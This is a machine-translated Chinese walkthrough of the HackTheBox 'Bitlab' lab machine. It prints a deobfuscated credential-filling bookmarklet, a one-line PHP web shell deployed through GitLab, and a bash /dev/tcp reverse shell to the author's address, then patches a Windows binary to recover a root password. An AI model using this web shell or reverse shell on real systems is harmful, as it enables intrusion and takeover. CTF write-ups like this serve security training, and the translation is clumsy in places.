哈克盒子-Bitlab演练。 弱JS混淆,GIT和反向Windows应用程序

图片

在本文中,我将开始发布从HackTheBox网站发送的用于进一步处理的解决方案。 我希望这将至少帮助某人在信息安全领域发展。 在本文中,我们将处理一些JavaScript混淆,通过Git存储库加载后门,并调试32个应用程序。

通过VPN连接到实验室。 建议不要从可用的计算机或主机上连接对您来说很重要的数据,因为您最终会与一个在信息安全领域有了解的人建立私有网络:)

组织信息
特别是对于那些想要学习新知识并在信息和计算机安全性的任何领域中发展的人们,我将撰写和讨论以下类别:

  • PWN;
  • 密码学(加密);
  • 网络技术(网络);
  • 反向(反向工程);
  • 隐写术(Stegano);
  • 搜索和利用Web漏洞。

除此之外,我将分享我在计算机取证,恶意软件和固件分析,对无线网络和局域网的攻击,进行笔测试和编写漏洞利用程序方面的经验。

为了使您可以查找有关新文章,软件和其他信息的信息,我在Telegram中创建了一个频道,并创建了一个小组来讨论 ICD领域中的所有问题 。 另外,我会亲自考虑您的个人要求,问题,建议和建议, 并会回答所有人

提供所有信息仅出于教育目的。 对于由于使用本文档而获得的知识和方法对某人造成的任何损害,本文档的作者不承担任何责任。

智商


端口扫描


这台机器的IP地址为10.10.10.114,我将其添加到/ etc / hosts中。
10.10.10.114 bitlab.htb
首先,我们扫描开放端口。 由于使用nmap扫描所有端口需要很长时间,因此我将首先使用masscan进行此操作。 我们以每秒1000个数据包的速度扫描来自tun0接口的所有TCP和UDP端口。
masscan -e tun0 -p1-65535,U:1-65535 10.10.10.114 --rate=1000

图片

接下来,您需要收集有关我们知道的端口的更多信息。
nmap -A bitlab.htb -p22,80

图片

根据nmap报告,SSH和Web服务器正在主机上运行。 在网络服务器上,有robots.txt。 浏览完此列表中的目录后,我们注意到gitlab可以工作,并且有一个未索引的帮助目录。

图片

进入书签页面,我们有几个链接。

图片

s


除了最后一个不包含地址,而是一个JS代码的所有产品,所有产品均指向该产品的网站。

图片

此代码混淆了什么。
 javascript:(function(){ var _0x4b18=["\x76\x61\x6C\x75\x65","\x75\x73\x65\x72\x5F\x6C\x6F\x67\x69\x6E","\x67\x65\x74\x45\x6C\x65\x6D\x65\x6E\x74\x42\x79\x49\x64","\x63\x6C\x61\x76\x65","\x75\x73\x65\x72\x5F\x70\x61\x73\x73\x77\x6F\x72\x64","\x31\x31\x64\x65\x73\x30\x30\x38\x31\x78"];document[_0x4b18[2]](_0x4b18[1])[_0x4b18[0]]= _0x4b18[3];document[_0x4b18[2]](_0x4b18[4])[_0x4b18[0]]= _0x4b18[5]; })() 

要获取更具可读性的代码,可以使用以下站点

图片

对代码进行一些改进后,我们得到以下说明。
 document.getElementById("user_login").value = "clave"; document.getElementById("user_password").value = "11des0081x"; 

吉特


使用此身份验证数据,我们在gitlab中获得了授权。 在那里,我们找到两个配置文件。

图片

您还可以在代码中找到一个项目,其中存在与数据库的连接,我在代码中提供了该连接的所有数据。

图片

检查个人资料,我们发现没有什么有趣的。

图片

部署者只有php代码。

图片

通过此代码,可以清楚地看到,如果我们在配置文件中放置了文件,则该文件将被部署到服务器。

入口点


我们需要放置一个PHP后门。 例如,将接收并执行命令的代码。
 <?php $cmd = $_REQUEST['cmd']; system($cmd); die; ?> 

为此,请打开配置文件并创建一个新文件。

图片

图片

添加后,我们的文件将出现在存储库中。

图片

现在我们正在测试后门。

图片

现在我们得到了完整的外壳。
 bash -i >& /dev/tcp/10.10.15.150/4321 0>&1 

图片

我们看到与主机的反向连接。

图片

用户名


一旦进入主机,就必须验证之前购买的数据。 这是访问数据库的数据。

以交互方式打开PHP解释器。 我们使用找到的代码并浏览找到的数据。 base64中的用户密码,对其进行解码。

图片

因此,我们找到了密码,该密码显然可以通过SSH连接。 但这无法解决,因为base64是密码)。

图片


环顾汽车,我们在用户的主目录中找到一个exe文件。

图片

我们将其复制到主机进行分析。
 scp clave@10.10.10.114:~/RemoteConnection.exe . 

接下来,在IDA Pro中打开文件。 滚动浏览main函数main,您可以找到变量与用户名的比较,并使用putty创建一个进程-网络连接程序。

图片

我们可以假定连接是通过提供身份验证数据而发生的,我们需要找到它们。 连接数据将通过腻子作为参数传递,即 变量v3。

您可以在调试过程中看到完成的行,但是在IDA中32位文件崩溃了。 通过逐步调试,我们知道在调用GetUserNameW之后会发生这种情况。 我们进行如下。

将BP放在名称比较片段上。

图片

现在,我们在加载GetUserNameW函数的参数之前先放置BP。

图片

在调试器中运行程序。 在调用我们需要的函数之前,调试将停止。

图片

现在修补代码。 除了加载参数和调用函数外,您还需要放置NOP指令。 我为此使用Keypatch插件。

图片

现在,代码看起来像这样。

图片

让我们继续调试该程序,以便它在比较名称时停止。 此时,参数字符串的地址将已经作为ShellExecuteW参数加载到EAX寄存器中进行传输。

图片

现在,单击EAX寄存器旁边的箭头(反汇编中的跳转)。 这将允许您从IDA主窗口中的EAX转到地址。

图片

该地址包含参数字符串。 如您所见,它包含对称正确的文本“ -ssh root ...”。 但是每个字符用2个字节表示。 要方便地收集字符串,请按Alt +A。

图片

然后在此窗口中,选择Unicode C样式(16位)。 然后,我们观察正确组装的弦。

图片

此行包含根密码。 我们通过ssh连接并获取令牌。

图片

您可以通过Telegram加入我们。 让我们建立一个社区,在这个社区中,会有一些精通IT领域的人,然后我们可以在任何IT和信息安全问题上互相帮助。

Source: https://habr.com/ru/post/zh-CN483646/


All Articles